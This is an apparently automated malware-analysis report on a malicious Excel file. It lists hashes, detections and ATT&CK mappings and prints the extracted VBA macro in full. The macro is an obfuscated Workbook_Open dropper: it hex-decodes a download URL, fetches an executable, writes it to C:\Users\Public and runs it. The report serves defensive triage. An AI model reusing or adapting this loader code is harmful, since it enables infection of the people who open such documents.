Office (OOXML) malware analysis — malicious · 720e6ca8b19a24a8

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-15

MD5: 49639de660cee7f2774cee22c2a41570 SHA-1: e02b4b2ccf4d88bfb70d5ef54e35a6e55dea8aae SHA-256: 720e6ca8b19a24a81df24a350a1a70eb17b71e32bbf67befbd2934880c15a98b

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains an obfuscated Workbook_Open subroutine that utilizes CreateObject to download a file from the URL "http://vassakt-y71.cf/temp/uaescvuo.exe" and execute it. This behavior is consistent with a macro-based dropper designed to fetch and run a second-stage payload.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
tqpoxgrutuzjtzbrygvkfnmsudqluqpnelknremyhiwqwrfiekdqitmfewttpfzdfleionzttxdwrvvcyihknyflzejvlsibjtll.write omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr = CreateObject(srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr = CreateObject(srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6605 bytes
SHA-256: `10dc567e9585f2804cb77e6ba7b6f20c15d4e7328fcf4682ab5c26c174f31349`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select bkbajtumzzwnzerrejhujtywsvgtevzvzfdqkfczmsftvgkupkbjqmkileiombidzbntabhzhihqnfamlmeuuqemuvefxomlkctu"68 74 74 70 3A 2F 2F 76 61 73 73 61 6B 74 61 2D 79 37 31 2E 63 66 2F 74 65 6D 70 2F 75 61 65 73 63 76 75 6F 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub bkbajtumzzwnzerrejhujtywsvgtevzvzfdqkfczmsftvgkupkbjqmkileiombidzbntabhzhihqnfamlmeuuqemuvefxomlkctu (phefhootwhukokknaohhwgbrcpusfnheyqjiqipukbxzuakzevctpimjgmcstwojapmybbwrzmxvibxbeunklnppdabdfxannozf As String) Dim omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr Range("A6:J13").Select Dim tqpoxgrutuzjtzbrygvkfnmsudqluqpnelknremyhiwqwrfiekdqitmfewttpfzdfleionzttxdwrvvcyihknyflzejvlsibjtll Range("A6:J13").Select Dim mxtqkjwlqpoiaqvhyopgftjkeeiaocnykkqboqadcuujpbuuxbcudegsnimgavxobqxqautiomelzzvckndmztvgdxnfdtcgxgiz Range("A6:J13").Select Set omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr = CreateObject(srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr = CreateObject(srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr = CreateObject(srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr = CreateObject(srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set tqpoxgrutuzjtzbrygvkfnmsudqluqpnelknremyhiwqwrfiekdqitmfewttpfzdfleionzttxdwrvvcyihknyflzejvlsibjtll = CreateObject(srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set mxtqkjwlqpoiaqvhyopgftjkeeiaocnykkqboqadcuujpbuuxbcudegsnimgavxobqxqautiomelzzvckndmztvgdxnfdtcgxgiz = CreateObject(srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) sdarpnkjvxjbaurdkgxfryuqbjxbibhmwegnihxnopprpkjlbnhkrsatjkpfpibtqwfwodvdijqbicbqzlauuwuddmeyrrxgovbs = srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm(phefhootwhukokknaohhwgbrcpusfnheyqjiqipukbxzuakzevctpimjgmcstwojapmybbwrzmxvibxbeunklnppdabdfxannozf) fnxysebibykhjygeigztbbsbzxmrlkmnbilmnbbpvmbfbxosltxhwhqduwzvrkwqlxfantqgfjypanzcitfrnfqtrhsrcgykpktd = srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6F 77 74 6A 79 72 73 6F 72 2e 65 78 65") rnerdrcmibdgwxmxeedghmjgbydylnzpuwkuonovcdkpdlvftagkgmwfeyqfndbvbomamsiqqiddbtcqdyfkhoihzfqqxjizcpnp = srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6F 77 74 6A 79 72 73 6F 72 2e 65 78 65") omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr.Open chr(71) + chr(69) + chr(84), sdarpnkjvxjbaurdkgxfryuqbjxbibhmwegnihxnopprpkjlbnhkrsatjkpfpibtqwfwodvdijqbicbqzlauuwuddmeyrrxgovbs, False omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr.send tqpoxgrutuzjtzbrygvkfnmsudqluqpnelknremyhiwqwrfiekdqitmfewttpfzdfleionzttxdwrvvcyihknyflzejvlsibjtll.Type = 1 tqpoxgrutuzjtzbrygvkfnmsudqluqpnelknremyhiwqwrfiekdqitmfewttpfzdfleionzttxdwrvvcyihknyflzejvlsibjtll.Open tqpoxgrutuzjtzbrygvkfnmsudqluqpnelknremyhiwqwrfiekdqitmfewttpfzdfleionzttxdwrvvcyihknyflzejvlsibjtll.write omycyktckrbfpbnzjdxmzxubaslcljitcrnswklatnemywoejbejrmgrrwcfyrqaihdxovdyrwslsicdehskfycplvazhgbcwedr.responseBody tqpoxgrutuzjtzbrygvkfnmsudqluqpnelknremyhiwqwrfiekdqitmfewttpfzdfleionzttxdwrvvcyihknyflzejvlsibjtll.savetofile fnxysebibykhjygeigztbbsbzxmrlkmnbilmnbbpvmbfbxosltxhwhqduwzvrkwqlxfantqgfjypanzcitfrnfqtrhsrcgykpktd, 2 mxtqkjwlqpoiaqvhyopgftjkeeiaocnykkqboqadcuujpbuuxbcudegsnimgavxobqxqautiomelzzvckndmztvgdxnfdtcgxgiz.Run rnerdrcmibdgwxmxeedghmjgbydylnzpuwkuonovcdkpdlvftagkgmwfeyqfndbvbomamsiqqiddbtcqdyfkhoihzfqqxjizcpnp End Sub Public Function srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm(ByVal edudhugqavtonjvmskoivqmcgneujxnsrvygtaffnefiezrtypnnsaenqswuplhchaxslptsfivrlexhwkwtkaaqrkqadkpbwdbd As String) As String Dim bzijwuijfmcmuoxfpnshagaazsouttuhdufwcnxprrleidgpnkmiktdvzhkdfoqlsujaibdbqdpjuvsvmzhihlxjqkxudujdaamo As String Dim tfhlhkshetadporghhegxajxdiyvtliujebgsvbxsqfxjufoddwtvfqtwjhzlwnslgtlmkolghohumojcjsqopyenhkinclvcmld As String Dim aucsoknoqjzjuywbewdwhpyezfyevseialjihzbebjndibnpfjrfipvkwxtjmjsyeqjjooueuzuxbuwyriymazzkpymkgsrsqpyr As Long For aucsoknoqjzjuywbewdwhpyezfyevseialjihzbebjndibnpfjrfipvkwxtjmjsyeqjjooueuzuxbuwyriymazzkpymkgsrsqpyr = 1 To Len(edudhugqavtonjvmskoivqmcgneujxnsrvygtaffnefiezrtypnnsaenqswuplhchaxslptsfivrlexhwkwtkaaqrkqadkpbwdbd)Step 3 bzijwuijfmcmuoxfpnshagaazsouttuhdufwcnxprrleidgpnkmiktdvzhkdfoqlsujaibdbqdpjuvsvmzhihlxjqkxudujdaamo = Chr$(Val("&H" & Mid$(edudhugqavtonjvmskoivqmcgneujxnsrvygtaffnefiezrtypnnsaenqswuplhchaxslptsfivrlexhwkwtkaaqrkqadkpbwdbd, aucsoknoqjzjuywbewdwhpyezfyevseialjihzbebjndibnpfjrfipvkwxtjmjsyeqjjooueuzuxbuwyriymazzkpymkgsrsqpyr, 2))) tfhlhkshetadporghhegxajxdiyvtliujebgsvbxsqfxjufoddwtvfqtwjhzlwnslgtlmkolghohumojcjsqopyenhkinclvcmld = tfhlhkshetadporghhegxajxdiyvtliujebgsvbxsqfxjufoddwtvfqtwjhzlwnslgtlmkolghohumojcjsqopyenhkinclvcmld & bzijwuijfmcmuoxfpnshagaazsouttuhdufwcnxprrleidgpnkmiktdvzhkdfoqlsujaibdbqdpjuvsvmzhihlxjqkxudujdaamo Next aucsoknoqjzjuywbewdwhpyezfyevseialjihzbebjndibnpfjrfipvkwxtjmjsyeqjjooueuzuxbuwyriymazzkpymkgsrsqpyr srtocccifuugdvdawoijwbyfwbcsvwflmgtusqrrnwhabybblm = tfhlhkshetadporghhegxajxdiyvtliujebgsvbxsqfxjufoddwtvfqtwjhzlwnslgtlmkolghohumojcjsqopyenhkinclvcmld End Function Attribute VB_Name = "yvtbrpuyisdkwzcoxronffagc" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `7812f4d8954d6cb80a21126422957c4615d9695255277ea2283732fa57e32b4b`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 128 of 218 identifiers look randomly generated (e.g. 'yvtbrpuyisdkwzcoxronffagc') — consistent with name-mangling obfuscation.

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